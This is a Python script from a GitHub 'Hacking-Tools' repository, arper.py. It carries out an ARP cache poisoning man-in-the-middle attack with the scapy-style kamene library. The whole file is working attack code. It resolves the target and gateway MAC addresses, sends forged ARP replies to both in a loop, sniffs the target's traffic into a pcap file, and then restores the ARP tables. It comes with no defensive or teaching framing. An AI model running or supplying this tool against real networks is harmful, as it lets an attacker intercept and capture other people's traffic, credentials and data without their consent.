Hacking-Tools/Python/Python Tools/arper.py at master · thewitcher21/Hacking-Tools · GitHub

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from kamene.all import *
import sys
import threading
import time

interface = "en1"
tgt_ip = "172.16.1.71"
tgt_gateway = "172.16.1.254"
packet_count = 1000
poisoning = True


def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    # slightly different method using send
    print("[*] Restoring target...")
    send(ARP(op=2,
             psrc=gateway_ip,
             pdst=target_ip,
             hwdst="ff:ff:ff:ff:ff:ff",
             hwsrc=gateway_mac),
         count=5)
    send(ARP(op=2,
             psrc=target_ip,
             pdst=gateway_ip,
             hwdst="ff:ff:ff:ff:ff:ff",
             hwsrc=target_mac),
         count=5)


def get_mac(ip_address):
    responses, unanswered = srp(
        Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address),
        timeout=2,
        retry=10
    )

    # return the MAC address from a response
    for s, r in responses:
        return r[Ether].src
    return None


def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
    global poisoning

    poison_tgt = ARP()
    poison_tgt.op = 2
    poison_tgt.psrc = gateway_ip
    poison_tgt.pdst = target_ip
    poison_tgt.hwdst = target_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print("[*] Beginning the ARP poison. [CTRL-C to stop]")

    while poisoning:
        send(poison_tgt)
        send(poison_gateway)
        time.sleep(2)

    print("[*] ARP poison attack finished.")

    return


# set our interface
conf.iface = interface

# turn off output
conf.verb = 0

print("[*] Setting up %s" % interface)

tgt_gateway_mac = get_mac(tgt_gateway)

if tgt_gateway_mac is None:
    print("[!!!] Failed to get gateway MAC. Exiting.")
    sys.exit(0)
else:
    print("[*] Gateway %s is at %s" % (tgt_gateway, tgt_gateway_mac))

tgt_mac = get_mac(tgt_ip)

if tgt_mac is None:
    print("[!!!] Failed to get target MAC. Exiting.")
    sys.exit(0)
else:
    print("[*] Target %s is at %s" % (tgt_ip, tgt_mac))

# start poison thread
poison_thread = threading.Thread(target=poison_target,
                                 args=(tgt_gateway,
                                       tgt_gateway_mac,
                                       tgt_ip,
                                       tgt_mac)
                                 )
poison_thread.start()

try:
    print("[*] Starting sniffer for %d packets" % packet_count)
    bpf_filter = "ip host %s" % tgt_ip
    packets = sniff(count=packet_count,
                    filter=bpf_filter,
                    iface=interface
                    )
    # write out the captured packets
    print("[*] Writing packets to arper.pcap")
    wrpcap('arper.pcap', packets)

except KeyboardInterrupt:
    pass

finally:
    poisoning = False
    # wait for poisoning thread to exit
    time.sleep(2)

    # restore the network
    restore_target(tgt_gateway,
                   tgt_gateway_mac,
                   tgt_ip,
                   tgt_mac
                   )
    sys.exit(0)